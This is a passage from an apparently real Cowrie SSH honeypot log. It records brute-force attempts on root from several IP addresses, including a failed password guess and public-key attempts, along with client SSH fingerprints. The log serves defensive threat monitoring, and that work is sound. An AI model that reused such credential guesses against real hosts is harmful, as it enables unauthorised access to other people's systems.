{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":53248,"dst_ip":"159.203.135.109","dst_port":22,"session":"f249dc9b9bc8","protocol":"ssh","message":"New connection: 47.239.15.75:53248 (159.203.135.109:22) [session: f249dc9b9bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:10.667647Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":42560,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bb379c50fff","protocol":"ssh","message":"New connection: 87.106.29.151:42560 (159.203.135.109:22) [session: 6bb379c50fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:11.922055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:11.930798Z","src_ip":"87.106.29.151","session":"6bb379c50fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:12.023246Z","src_ip":"87.106.29.151","session":"6bb379c50fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q!Q2w@W","message":"login attempt [root/1q!Q2w@W] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:12.423396Z","src_ip":"87.106.29.151","session":"6bb379c50fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:13.520552Z","src_ip":"87.106.29.151","session":"6bb379c50fff","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:16.107566Z","src_ip":"47.239.15.75","session":"f249dc9b9bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:16.112425Z","src_ip":"47.239.15.75","session":"f249dc9b9bc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.241.143","src_port":22864,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ce2a69f832e","protocol":"ssh","message":"New connection: 208.87.241.143:22864 (10.17.0.5:22) [session: 9ce2a69f832e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:16.804935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:16.811189Z","src_ip":"208.87.241.143","session":"9ce2a69f832e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:16.888023Z","src_ip":"208.87.241.143","session":"9ce2a69f832e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:8d:b1:a3:99:09:39:88:e6:dc:24:47:39:ab:cc:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuUViH2zdyRfzBSO2UycmCuodZPeYqSjqeXO/5qNctpJ1CqXqJxRE7xjIsCfFiZXflL2aPxzWGcYfGHaKhmLcNEHBfYIm0us26zkE3kelf2/3RDTgChMu/q+rQZ+WBzqGsOzKX9GTj8BypxeN5fnm6y7luszY5jInAOAwpdHRZZYd914PJ7AiSvcMnLnO13BuV71VaKQT+3ylUmAcxgHREFGsZpyO1z0ECIVtXbkPCNklIm6h3Z46EhNqaf9tAnOwF48dE8LPau5z5qSFvPvw9DvOuCwCxRmZT2UpDkclc+rWahdyN0p9sdlXluLxinFpdhLr/zZT7jHqTqNshMeXp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:8d:b1:a3:99:09:39:88:e6:dc:24:47:39:ab:cc:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:17.241647Z","src_ip":"208.87.241.143","session":"9ce2a69f832e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:8d:b1:a3:99:09:39:88:e6:dc:24:47:39:ab:cc:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuUViH2zdyRfzBSO2UycmCuodZPeYqSjqeXO/5qNctpJ1CqXqJxRE7xjIsCfFiZXflL2aPxzWGcYfGHaKhmLcNEHBfYIm0us26zkE3kelf2/3RDTgChMu/q+rQZ+WBzqGsOzKX9GTj8BypxeN5fnm6y7luszY5jInAOAwpdHRZZYd914PJ7AiSvcMnLnO13BuV71VaKQT+3ylUmAcxgHREFGsZpyO1z0ECIVtXbkPCNklIm6h3Z46EhNqaf9tAnOwF48dE8LPau5z5qSFvPvw9DvOuCwCxRmZT2UpDkclc+rWahdyN0p9sdlXluLxinFpdhLr/zZT7jHqTqNshMeXp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:17.245806Z","src_ip":"208.87.241.143","session":"9ce2a69f832e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:07:ce:05:29:eb:a9:62:f3:4f:e6:18:c5:6d:b7:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq4mWCmkikM8AwGOzg0a3t7F6s6XYTDJ/QIWQmL9QuhBGoHy+sup7Jo+XH3WaYuUBHaxmI5667JreY6DffE5UzwqlA3qf1XkjJDhpt0D5scSg27Fml6KrNar8ichC3XyJGB3UWWaMZi4uVdzC3KLudlnVKkWgO0E3ffRf7umTe9DVXO6R/Az0PPegaZdohPtd7sNzIKx5c+D5TGa7C+M5mdTW42RdO8e+F5qUEYDEcbS+/9mPVTKcQdNVtF+CqdxkYIaoLBGZn8gf3JsfIyqrQ0J346jzEKMxorA2B8FwDQAH8gUYSrVjtX0N4mMosS2iS8heVEeqm3+Fv18krSCyFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:07:ce:05:29:eb:a9:62:f3:4f:e6:18:c5:6d:b7:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:17.327074Z","src_ip":"208.87.241.143","session":"9ce2a69f832e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:07:ce:05:29:eb:a9:62:f3:4f:e6:18:c5:6d:b7:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq4mWCmkikM8AwGOzg0a3t7F6s6XYTDJ/QIWQmL9QuhBGoHy+sup7Jo+XH3WaYuUBHaxmI5667JreY6DffE5UzwqlA3qf1XkjJDhpt0D5scSg27Fml6KrNar8ichC3XyJGB3UWWaMZi4uVdzC3KLudlnVKkWgO0E3ffRf7umTe9DVXO6R/Az0PPegaZdohPtd7sNzIKx5c+D5TGa7C+M5mdTW42RdO8e+F5qUEYDEcbS+/9mPVTKcQdNVtF+CqdxkYIaoLBGZn8gf3JsfIyqrQ0J346jzEKMxorA2B8FwDQAH8gUYSrVjtX0N4mMosS2iS8heVEeqm3+Fv18krSCyFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:17.331584Z","src_ip":"208.87.241.143","session":"9ce2a69f832e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:63:bf:0d:56:50:e1:5f:3e:0e:c9:a1:f9:ab:49:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjqhqrpDsge4l8/6WAsPxrpf7mszSaSG/z0W/Kw+wkap7sBWe9M9261ekFPy4AxYFzAa7EfnzxdFhpvJpTbid3snPiiSz9gjBbHlDLDENRltIZtxKGqp2LenJ2LM3gGteZfXimvklT3F3Ustn58aQPm4WXci8HTV7UDs+RMQgC4Bs+vx3hezsMTXLMiik/vxUGbpBCBZ9lIg31b+ke+9EGoq1Ol/KkfSOb+FBPizKCN6VQK/9T2370ueFAdxtebTVl2xJ1+qqZX0DQf9OC0838sIt/qz348fllqzOE94ek3Yq0QSmp5+GZdDnY0nRjKjpY2Aaazn+iXyokqgNG9DWxfziLMza2rf8S9dE3Xc9pVqb1GlT08MJhNZsmnDZbBm2g+ZeamSnjmUP4T2QIs/ZHu+WxT3lQ2WeI5KL6FEHiI28OnkXEdogAAbAwq2Lu6nvhiRFPOrJTzx+ba4QkJayLT3i3I+/gW4BCCkWzwXWnvgXY4FLy+trVBtj8GfMn3aaV1WpZiL9gr2CyOfBMXWZaAjGSBCUFjvUy+8XcGfsUsTgVRqIouD6FzdPM/tknQD+Y4oYj1RNIhPMfUO6gkdI4y2QI4vVBeAqbDks1KIQt7JFwhrqUROg50o/wT5aFdwetFfe+bODGPp65tfpAeQ86oebW2u6hzL3IJ07nbVQ0bQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:63:bf:0d:56:50:e1:5f:3e:0e:c9:a1:f9:ab:49:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:17.408950Z","src_ip":"208.87.241.143","session":"9ce2a69f832e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:63:bf:0d:56:50:e1:5f:3e:0e:c9:a1:f9:ab:49:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCjqhqrpDsge4l8/6WAsPxrpf7mszSaSG/z0W/Kw+wkap7sBWe9M9261ekFPy4AxYFzAa7EfnzxdFhpvJpTbid3snPiiSz9gjBbHlDLDENRltIZtxKGqp2LenJ2LM3gGteZfXimvklT3F3Ustn58aQPm4WXci8HTV7UDs+RMQgC4Bs+vx3hezsMTXLMiik/vxUGbpBCBZ9lIg31b+ke+9EGoq1Ol/KkfSOb+FBPizKCN6VQK/9T2370ueFAdxtebTVl2xJ1+qqZX0DQf9OC0838sIt/qz348fllqzOE94ek3Yq0QSmp5+GZdDnY0nRjKjpY2Aaazn+iXyokqgNG9DWxfziLMza2rf8S9dE3Xc9pVqb1GlT08MJhNZsmnDZbBm2g+ZeamSnjmUP4T2QIs/ZHu+WxT3lQ2WeI5KL6FEHiI28OnkXEdogAAbAwq2Lu6nvhiRFPOrJTzx+ba4QkJayLT3i3I+/gW4BCCkWzwXWnvgXY4FLy+trVBtj8GfMn3aaV1WpZiL9gr2CyOfBMXWZaAjGSBCUFjvUy+8XcGfsUsTgVRqIouD6FzdPM/tknQD+Y4oYj1RNIhPMfUO6gkdI4y2QI4vVBeAqbDks1KIQt7JFwhrqUROg50o/wT5aFdwetFfe+bODGPp65tfpAeQ86oebW2u6hzL3IJ07nbVQ0bQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:17.412959Z","src_ip":"208.87.241.143","session":"9ce2a69f832e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:02:90:0f:29:0d:f7:5d:68:8d:31:c0:af:41:7c:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPNjCLAxTt7RtugcCKRpJH6x/T/logA+vkxNDketmYabp27CJepBcRPzre7PMbspTVNT3HrOJvxr7w4VNgjaN4gXqj/0bi5SB6T/uc9kjsPkyxcUDsUwbIl/BR2u73t+UPI45pQ0JA3HyTVE3ipOoOQrQIlBZ59jUGQdbUu7bi52pxsJShoXDdvDcKmO75SjGxgBkVEib0d13AZ5rbMNQxWk+3M7anKXngtI0rsu59N5h6hGQI0sZBW7S55+eVFD5SVytd8I8RI3J299o+0OCpjWSzpGHI2HldHGrvzx0nL9JsthkSqys45QPDCPn3wsxcn4PPJMzW3m9w/ZXrh3H7lE7pietEV86CB1H1jm80y6SVovtCWCtid+kq+/pFO11Cc7+WLVQ4/PQ/4j16edO+06kmyHO2Gdw2BWEGuKZPptuXSC22i7oBbjB6R5w4RKP/4EOeKca3AQkEAwG6mEmQtYjRdZlEzqW/lSN0323EfBb6mAKjKtGVlE/gbnwI2Ba4lDOLfkuZTSnT7rPndZML/wx8EkUQHpdxvilViN5HqLQMalm3q84o9hYb4r5D/Z8QI3iTKCQP/l4ZBzzmQSQZ//hN7pnPEmMmX6/Sb3rM3H1PuaL+9KE5i3+ElXVXZTBd+sSI/T71E+hzS2y+69dTvKwF18SF8jSwhqZN2c5pQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:02:90:0f:29:0d:f7:5d:68:8d:31:c0:af:41:7c:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:17.489408Z","src_ip":"208.87.241.143","session":"9ce2a69f832e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:02:90:0f:29:0d:f7:5d:68:8d:31:c0:af:41:7c:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPNjCLAxTt7RtugcCKRpJH6x/T/logA+vkxNDketmYabp27CJepBcRPzre7PMbspTVNT3HrOJvxr7w4VNgjaN4gXqj/0bi5SB6T/uc9kjsPkyxcUDsUwbIl/BR2u73t+UPI45pQ0JA3HyTVE3ipOoOQrQIlBZ59jUGQdbUu7bi52pxsJShoXDdvDcKmO75SjGxgBkVEib0d13AZ5rbMNQxWk+3M7anKXngtI0rsu59N5h6hGQI0sZBW7S55+eVFD5SVytd8I8RI3J299o+0OCpjWSzpGHI2HldHGrvzx0nL9JsthkSqys45QPDCPn3wsxcn4PPJMzW3m9w/ZXrh3H7lE7pietEV86CB1H1jm80y6SVovtCWCtid+kq+/pFO11Cc7+WLVQ4/PQ/4j16edO+06kmyHO2Gdw2BWEGuKZPptuXSC22i7oBbjB6R5w4RKP/4EOeKca3AQkEAwG6mEmQtYjRdZlEzqW/lSN0323EfBb6mAKjKtGVlE/gbnwI2Ba4lDOLfkuZTSnT7rPndZML/wx8EkUQHpdxvilViN5HqLQMalm3q84o9hYb4r5D/Z8QI3iTKCQP/l4ZBzzmQSQZ//hN7pnPEmMmX6/Sb3rM3H1PuaL+9KE5i3+ElXVXZTBd+sSI/T71E+hzS2y+69dTvKwF18SF8jSwhqZN2c5pQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:17.493460Z","src_ip":"208.87.241.143","session":"9ce2a69f832e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:1d:96:79:72:22:d0:6b:38:06:5f:b6:2e:e4:4d:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvzfwfHf/So+AhzpgF4cvv+mBtFSD8oul4rcui+c0IwfOe06B8obFLYHhfJ+8e+GDRzlfNPWhLw9pCxHaEHrvZKEu9Q00U6klZWtlkH9Whu1/0tp7M8wMMuNgq3MKP7txSoCyWbFTnpgmD5WX/ZAylm7GL3TsFLEaFUqC7t7SJJhZ1kHQFM3RlcLO0kGPmtz3uSRGt42ZJPocTLvNsy5rR6w4bPCWRHNc0qmI71mOPjzunOiCKngS8rdawHjhG2Pofpoj8EYxD5PtStgvjBee2QmWXN2q30MIg+/7G3NyV8se5yWD53+JoooTz45dx+PRYv4VXIT/V9/vPwf0DrBl+lqsw0Pe3y380Ot3+C6pN8VtqAfRU9N0BNkrz6UpKqBb3QwVHD4tJYdMSuBw67R4hcpgZIIqP+/c52gy/KPOuZabdEi5uwaa2KXhdhkihRGz3N5rvK6sbpkZy7KUfL8DlwJvI64OJm/RhCkePy7JVWHaj97N1wxMp4DLafMvdZIYkvGDO5VGjTNP7ruDkmuUXz8aOXZrgxbfcvnNP0dIRa5PfAZL7d4SBnAd6EmVWQe69/coMz9tQL+GBJL2EnWp60GO3WB5TRrTLcL4ZBiCJauSnLcfn6R9el9XOOme7IhJpeOwfdJDURUyKU5xdseKxO5wiM9xg0Lc5oRxjAjz2iw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:1d:96:79:72:22:d0:6b:38:06:5f:b6:2e:e4:4d:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:17.569403Z","src_ip":"208.87.241.143","session":"9ce2a69f832e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:1d:96:79:72:22:d0:6b:38:06:5f:b6:2e:e4:4d:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvzfwfHf/So+AhzpgF4cvv+mBtFSD8oul4rcui+c0IwfOe06B8obFLYHhfJ+8e+GDRzlfNPWhLw9pCxHaEHrvZKEu9Q00U6klZWtlkH9Whu1/0tp7M8wMMuNgq3MKP7txSoCyWbFTnpgmD5WX/ZAylm7GL3TsFLEaFUqC7t7SJJhZ1kHQFM3RlcLO0kGPmtz3uSRGt42ZJPocTLvNsy5rR6w4bPCWRHNc0qmI71mOPjzunOiCKngS8rdawHjhG2Pofpoj8EYxD5PtStgvjBee2QmWXN2q30MIg+/7G3NyV8se5yWD53+JoooTz45dx+PRYv4VXIT/V9/vPwf0DrBl+lqsw0Pe3y380Ot3+C6pN8VtqAfRU9N0BNkrz6UpKqBb3QwVHD4tJYdMSuBw67R4hcpgZIIqP+/c52gy/KPOuZabdEi5uwaa2KXhdhkihRGz3N5rvK6sbpkZy7KUfL8DlwJvI64OJm/RhCkePy7JVWHaj97N1wxMp4DLafMvdZIYkvGDO5VGjTNP7ruDkmuUXz8aOXZrgxbfcvnNP0dIRa5PfAZL7d4SBnAd6EmVWQe69/coMz9tQL+GBJL2EnWp60GO3WB5TRrTLcL4ZBiCJauSnLcfn6R9el9XOOme7IhJpeOwfdJDURUyKU5xdseKxO5wiM9xg0Lc5oRxjAjz2iw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:17.573070Z","src_ip":"208.87.241.143","session":"9ce2a69f832e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:17.656510Z","src_ip":"208.87.241.143","session":"9ce2a69f832e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.241.76.128","src_port":45478,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b4376e7e14d","protocol":"ssh","message":"New connection: 191.241.76.128:45478 (10.17.0.5:22) [session: 7b4376e7e14d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:19.262409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:19.266888Z","src_ip":"191.241.76.128","session":"7b4376e7e14d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:51:19.411248Z","src_ip":"191.241.76.128","session":"7b4376e7e14d","protocol":"ssh"}
